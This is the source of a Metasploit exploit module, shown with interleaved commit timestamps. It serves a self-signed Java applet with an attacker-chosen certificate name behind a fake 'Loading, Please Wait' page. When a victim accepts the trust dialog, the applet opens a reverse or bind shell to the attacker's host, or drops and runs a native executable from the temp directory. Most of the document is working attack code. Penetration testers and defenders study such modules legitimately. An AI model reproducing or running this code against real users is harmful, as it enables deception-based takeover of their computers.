2010-01-27 19:46:39 +00:00
##
2010-01-27 20:20:32 +00:00
# $Id$
2010-01-27 19:46:39 +00:00
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpServer :: HTML
include Msf :: Exploit :: Java
2010-09-20 04:38:13 +00:00
include Msf :: Exploit :: EXE
2010-01-27 19:46:39 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Signed Applet Social Engineering Code Exec' ,
'Description' = > %q{
2010-04-30 08:40:19 +00:00
This exploit dynamically creates an applet via the Msf :: Exploit :: Java mixin , converts it
to a . jar file , then signs the . jar with a dynamically created certificate containing
values of your choosing . This is presented to the end user via a web page with an applet
2010-01-27 19:46:39 +00:00
tag , loading the signed applet .
2010-04-30 08:40:19 +00:00
The user ' s JVM pops a dialog asking if they trust the signed applet and displays the
values chosen . Once the user clicks 'accept' , the applet executes with full user
2010-01-27 19:46:39 +00:00
permissions .
The java payload used in this exploit is derived from Stephen Fewer 's and HDM' s payload
created for the CVE - 2008 - 5353 java deserialization exploit .
This module requires the rjb rubygem , the JDK , and the $JAVA_HOME variable to be set .
If these dependencies are not present , the exploit falls back to a static , signed
JAR .
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'natron' ] ,
2010-01-27 20:20:32 +00:00
'Version' = > '$Revision$' ,
2010-01-27 19:46:39 +00:00
'References' = >
[
[ 'URL' , 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ] ,
] ,
'Platform' = > [ 'win' , 'osx' , 'linux' , 'solaris' ] ,
'Payload' = > { 'Space' = > 2048 , 'BadChars' = > '' , 'DisableNops' = > true } ,
'Targets' = >
[
2010-03-31 22:05:32 +00:00
# Generic java payload is mostly useless right now, as it kills as soon as the user browses
2010-01-27 19:46:39 +00:00
# to another page. It should be rewritten to launch a new JVM in the background with a custom
2010-04-30 08:40:19 +00:00
# .class.
#
# Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via
2010-01-27 19:46:39 +00:00
# /bin/sh or cmd.exe
[ 'Generic (Java Payload)' ,
{
2010-04-30 08:40:19 +00:00
# This is a bad hack to force only the generic/shell_bind_tcp
2010-01-27 19:46:39 +00:00
# and generic/shell_reverse_tcp payloads
'Platform' = > [ 'win' ] ,
'Payload' = > { 'Space' = > 0 } ,
'Arch' = > ARCH_CMD ,
}
] ,
[ 'Windows x86 (Native Payload)' ,
{
'Platform' = > 'win' ,
'Arch' = > ARCH_X86 ,
}
] ,
[ 'Mac OS X PPC (Native Payload)' ,
{
'Platform' = > 'osx' ,
'Arch' = > ARCH_PPC ,
}
] ,
[ 'Mac OS X x86 (Native Payload)' ,
{
'Platform' = > 'osx' ,
'Arch' = > ARCH_X86 ,
}
] ,
[ 'Linux x86 (Native Payload)' ,
{
'Platform' = > 'linux' ,
'Arch' = > ARCH_X86 ,
}
] ,
] ,
2010-04-30 08:40:19 +00:00
'DefaultTarget' = > 1
) )
register_options (
[
OptString . new ( 'CERTCN' , [ true , " The CN= value for the certificate. " , " Metasploit Inc. " ] ) ,
OptString . new ( 'APPLETNAME' , [ true , " The main applet's class name. " , " SiteLoader " ] ) ,
OptString . new ( 'PAYLOADNAME' , [ true , " The payload classes name. " , " SiteSupport " ] ) ,
# Not implemented yet.
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
] , self . class )
register_advanced_options (
[
2010-09-20 04:38:13 +00:00
OptString . new ( 'SaveToFile' , [ false , " When set, source is saved to this directory under external/source/ " , nil ] )
2010-04-30 08:40:19 +00:00
] , self . class )
2010-01-27 19:46:39 +00:00
end
def exploit
#
# Currently doing all processing in on_request_uri.
# If this is too slow, we can move applet generation up here.
#
2010-01-29 19:47:40 +00:00
@use_static = false
if not @jvm_init
print_error
2010-11-24 01:11:49 +00:00
print_error " The JDK failed to initialized: #{ @java_error } "
print_error " In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable. "
print_error
2010-04-01 05:15:26 +00:00
print_error " Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored. "
2010-01-29 19:47:40 +00:00
print_error
@use_static = true
end
2010-02-19 05:11:56 +00:00
2010-03-31 22:05:32 +00:00
if datastore [ 'SaveToFile' ]
2010-02-19 05:11:56 +00:00
appletsource = get_code
2010-03-31 22:05:32 +00:00
save_to_file ( appletsource [ 'classnames' ] , appletsource [ 'codefiles' ] , datastore [ 'SaveToFile' ] )
2010-02-19 05:11:56 +00:00
end
2010-04-30 08:40:19 +00:00
super
2010-01-27 19:46:39 +00:00
end
2010-04-30 08:40:19 +00:00
2010-02-19 05:11:56 +00:00
def get_code
2010-04-30 08:40:19 +00:00
2010-09-20 08:06:27 +00:00
appletsource = <<-EOF
2010-01-27 19:46:39 +00:00
import java . applet . Applet ;
import java . io . ByteArrayInputStream ;
import java . io . ObjectInputStream ;
import java . io . BufferedReader ;
import java . io . BufferedWriter ;
import java . io . File ;
import java . io . FileOutputStream ;
import java . io . InputStream ;
import java . io . InputStreamReader ;
import java . io . OutputStream ;
import java . io . OutputStreamWriter ;
import java . net . ServerSocket ;
import java . net . Socket ;
import java . security . AccessController ;
import java . security . PrivilegedExceptionAction ;
public class #{datastore['APPLETNAME']} extends Applet
{
public void init ( )
{
try
2010-04-30 08:40:19 +00:00
{
2010-01-27 19:46:39 +00:00
String data = getParameter ( " data " ) ;
String lhost = getParameter ( " lhost " ) ;
String lport = getParameter ( " lport " ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
if ( data == null ) {
data = " " ;
}
2010-04-30 08:40:19 +00:00
2010-01-28 22:53:36 +00:00
/ / System . out . println ( " Applet executing. Creating payload class. " ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
#{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();
2010-01-28 22:53:36 +00:00
/ / System . out . println ( " Payload class instantiated. " ) ;
2010-01-27 19:46:39 +00:00
site . data = data ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
if ( lhost != null && lport != null ) {
site . lhost = lhost ;
site . lport = Integer . parseInt ( lport ) ;
System . out . println ( " lhost: " + lhost ) ;
System . out . println ( " lport: " + Integer . parseInt ( lport ) ) ;
}
2010-04-30 08:40:19 +00:00
2010-01-28 22:53:36 +00:00
/ / System . out . println ( " data: " + data ) ;
2010-01-27 19:46:39 +00:00
site . run ( ) ;
}
catch ( Exception e ) { System . out . println ( " Applet error: " + e ) ; }
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction
{
/ / This will contain a hex string of the native payload to drop and execute .
public String data = null ;
/ / If no native payload is set we get either a java bind shell or a java
/ / reverse shell .
public String lhost = null ;
public int lport = 4444 ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
class StreamConnector extends Thread
{
InputStream is ;
OutputStream os ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
StreamConnector ( InputStream is , OutputStream os )
{
this . is = is ;
this . os = os ;
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
public void run ( )
{
BufferedReader in = null ;
BufferedWriter out = null ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
try
{
in = new BufferedReader ( new InputStreamReader ( is ) ) ;
out = new BufferedWriter ( new OutputStreamWriter ( os ) ) ;
char buffer [ ] = new char [ 8192 ] ;
int length ;
while ( ( length = in . read ( buffer , 0 , buffer . length ) ) > 0 )
{
out . write ( buffer , 0 , length ) ;
out . flush ( ) ;
}
}
catch ( Exception e ) { System . out . println ( " StreamConnector error: " + e ) ; }
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
try
{
if ( in != null )
in . close ( ) ;
if ( out != null )
out . close ( ) ;
}
catch ( Exception e ) { System . out . println ( " StreamConnector error: " + e ) ; }
}
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
/ / http : / /s tackoverflow . com / questions / 140131 / convert - a - string - representation - of - a - hex - dump - to - a - byte - array - using - java
public byte [ ] StringToBytes ( String s )
{
byte [ ] data = new byte [ s . length ( ) / 2 ] ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
for ( int i = 0 ; i < s . length ( ) ; i += 2 )
data [ i / 2 ] = ( byte ) ( ( Character . digit ( s . charAt ( i ) , 16 ) << 4 ) + Character . digit ( s . charAt ( i + 1 ) , 16 ) ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
return data ;
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
public Object run ( ) throws Exception
{
2010-01-28 22:53:36 +00:00
/ / System . out . println ( " Applet running... " ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
try
{
String os = System . getProperty ( " os.name " ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
/ / if we have no native payload to drop and execute we default to
/ / either a TCP bind or reverse shell .
/ /i f ( #{datastore['PAYLOADNAME']}.data.length() == 0 )
if ( this . data . length ( ) == 0 )
{
2010-01-28 22:53:36 +00:00
/ / System . out . println ( " Applet thinks payload.data is empty. " ) ;
2010-01-27 19:46:39 +00:00
Socket client_socket = null ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
String shell = " /bin/sh " ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
if ( os . indexOf ( " Windows " ) > = 0 )
shell = " cmd.exe " ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
/ /i f ( #{datastore['PAYLOADNAME']}.lhost == null )
if ( this . lhost == null )
{
/ / ServerSocket server_socket = new ServerSocket ( #{datastore['PAYLOADNAME']}.lport );
ServerSocket server_socket = new ServerSocket ( this . lport ) ;
client_socket = server_socket . accept ( ) ;
}
else
{
/ / client_socket = new Socket ( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );
client_socket = new Socket ( this . lhost , this . lport ) ;
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
if ( client_socket != null )
{
Process process = Runtime . getRuntime ( ) . exec ( shell ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
( new StreamConnector ( process . getInputStream ( ) , client_socket . getOutputStream ( ) ) ) . start ( ) ;
2010-01-28 22:53:36 +00:00
( new StreamConnector ( process . getErrorStream ( ) , client_socket . getOutputStream ( ) ) ) . start ( ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
( new StreamConnector ( client_socket . getInputStream ( ) , process . getOutputStream ( ) ) ) . start ( ) ;
}
}
else
{
2010-01-28 22:53:36 +00:00
/ / System . out . println ( " Applet knows there's data to write. Writing to: " + System . getProperty ( " java.io.tmpdir " ) ) ;
2010-01-27 19:46:39 +00:00
String filename = Math . random ( ) + " .exe " ;
String path = System . getProperty ( " java.io.tmpdir " ) + File . separator + filename ;
2010-01-28 22:53:36 +00:00
/ / System . out . println ( filename + " written. " ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
Process p ;
FileOutputStream fos = new FileOutputStream ( path ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
/ / fos . write ( StringToBytes ( #{datastore['PAYLOADNAME']}.data ) );
fos . write ( StringToBytes ( this . data ) ) ;
fos . close ( ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
if ( os . indexOf ( " Windows " ) < 0 )
{
p = Runtime . getRuntime ( ) . exec ( " chmod 755 " + path ) ;
p . waitFor ( ) ;
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
p = Runtime . getRuntime ( ) . exec ( path ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
p . waitFor ( ) ;
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
new File ( path ) . delete ( ) ;
}
}
catch ( Exception e ) { System . out . println ( " Payload execution error: " + e ) ; }
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
return null ;
}
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
public void #{datastore['PAYLOADNAME']}()
{
try
{
AccessController . doPrivileged ( this ) ;
}
catch ( Exception e ) { System . out . println ( " Payload instantiation error: " + e ) ; }
}
}
2010-09-20 08:06:27 +00:00
}
EOF
appletcode = {
'classnames' = > [ datastore [ 'APPLETNAME' ] ] ,
'codefiles' = > [ appletsource ]
}
2010-01-27 19:46:39 +00:00
return appletcode
end
def on_request_uri ( cli , request )
if not request . uri . match ( / \ .jar$ /i )
if not request . uri . match ( / \/ $ / )
send_redirect ( cli , get_resource ( ) + '/' , '' )
return
end
print_status ( " Handling request from #{ cli . peerhost } : #{ cli . peerport } ... " )
if target . name == 'Generic (Java Payload)'
if datastore [ 'LHOST' ]
host = datastore [ 'LHOST' ]
port = datastore [ 'LPORT' ]
print_status ( " Payload will be a Java reverse shell to #{ host } : #{ port } from #{ cli . peerhost } ... " )
else
port = datastore [ 'LPORT' ]
datastore [ 'RHOST' ] = cli . peerhost
print_status ( " Payload will be a Java bind shell on #{ cli . peerhost } : #{ port } ... " )
end
else
payload = regenerate_payload ( cli )
if not payload
2010-07-25 21:37:54 +00:00
print_error ( " Failed to generate the payload. " )
2010-01-27 19:46:39 +00:00
return
end
2010-04-30 08:40:19 +00:00
2010-09-20 04:38:13 +00:00
# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe
2010-01-27 19:46:39 +00:00
if data
print_status ( " Generated executable to drop ( #{ data . length } bytes). " )
data = Rex :: Text . to_hex ( data , prefix = " " )
else
2010-07-25 21:37:54 +00:00
print_error ( " Failed to generate the executable. " )
2010-01-27 19:46:39 +00:00
return
end
end
2010-01-29 19:47:40 +00:00
if not @use_static
2010-05-07 18:19:50 +00:00
# See #1543
if datastore [ 'CERTCN' ] . index ( " , " )
print_error ( " CERTCN cannot contain a comma due to a bug in Rjb, commas will be removed " )
end
2010-02-19 05:11:56 +00:00
appletcode = get_code
2010-01-27 19:46:39 +00:00
2010-01-29 19:47:40 +00:00
print_status " Compiling applet classes... "
compile ( appletcode [ 'classnames' ] , appletcode [ 'codefiles' ] )
2010-04-30 08:40:19 +00:00
2010-01-29 19:47:40 +00:00
print_status " Compile completed. Building jar file... "
2010-01-27 19:46:39 +00:00
2010-01-29 19:47:40 +00:00
unsignedjar = " unsigned_ #{ datastore [ 'APPLETNAME' ] } .jar "
@signedjar = " #{ datastore [ 'APPLETNAME' ] } .jar "
2010-04-30 08:40:19 +00:00
2010-01-29 19:47:40 +00:00
build_jar ( unsignedjar ,
2010-09-20 08:06:27 +00:00
[
# Applet
datastore [ 'APPLETNAME' ] + " .class " ,
# PayloadX class
datastore [ 'APPLETNAME' ] + " $ " + datastore [ 'PAYLOADNAME' ] + " .class " ,
# PayloadX StreamConnector for pure Java payload
datastore [ 'APPLETNAME' ] + " $ " + datastore [ 'PAYLOADNAME' ] + " $StreamConnector.class "
]
)
2010-04-30 08:40:19 +00:00
2010-01-29 19:47:40 +00:00
print_status " Jar built. Signing... "
2010-04-30 08:40:19 +00:00
2010-01-29 19:47:40 +00:00
sign_jar ( datastore [ 'CERTCN' ] , unsignedjar , @signedjar )
2010-04-30 08:40:19 +00:00
2010-01-29 19:47:40 +00:00
print_status " Jar signed. Ready to send. "
else
print_status " Using static, signed jar. Ready to send. "
end
2010-04-30 08:40:19 +00:00
2010-01-27 23:15:36 +00:00
# TODO: gzip data and parse in java
send_response_html ( cli , generate_html ( data , host , port ) , { 'Content-Type' = > 'text/html' } )
return
end
2010-04-30 08:40:19 +00:00
2010-01-27 19:46:39 +00:00
# load the jar file
2010-01-29 19:47:40 +00:00
if @use_static
path = File . join ( Msf :: Config . install_root , " data " , " exploits " , " java_signed_applet.jar " )
elsif File . exists? File . join ( datastore [ 'JAVACACHE' ] , @signedjar )
path = File . join ( datastore [ 'JAVACACHE' ] , @signedjar )
end
2010-04-30 08:40:19 +00:00
2010-01-29 19:47:40 +00:00
if path
fd = File . open ( path , " rb " )
2010-01-27 19:46:39 +00:00
@jar_data = fd . read ( fd . stat . size )
fd . close
end
2010-04-30 08:40:19 +00:00
2010-01-28 22:53:36 +00:00
print_status ( " Sending #{ datastore [ 'APPLETNAME' ] } .jar to #{ cli . peerhost } : #{ cli . peerport } . Waiting for user to click 'accept'... " )
2010-01-27 19:46:39 +00:00
send_response ( cli , @jar_data , { 'Content-Type' = > " application/octet-stream " } )
handler ( cli )
end
def generate_html ( data , host , port )
html = " <html><head><title>Loading, Please Wait...</title></head> "
html += " <body><center><p>Loading, Please Wait...</p></center> "
html += " <applet archive= \" #{ datastore [ 'APPLETNAME' ] } .jar \" "
2010-01-27 20:58:13 +00:00
html += " code= \" #{ datastore [ 'APPLETNAME' ] } .class \" width= \" 1 \" height= \" 1 \" > "
2010-01-27 19:46:39 +00:00
html += " <param name= \" data \" value= \" #{ data } \" /> " if data
html += " <param name= \" lhost \" value= \" #{ host } \" /> " if host
html += " <param name= \" lport \" value= \" #{ port } \" /> " if port
html += " </applet></body></html> "
return html
end
end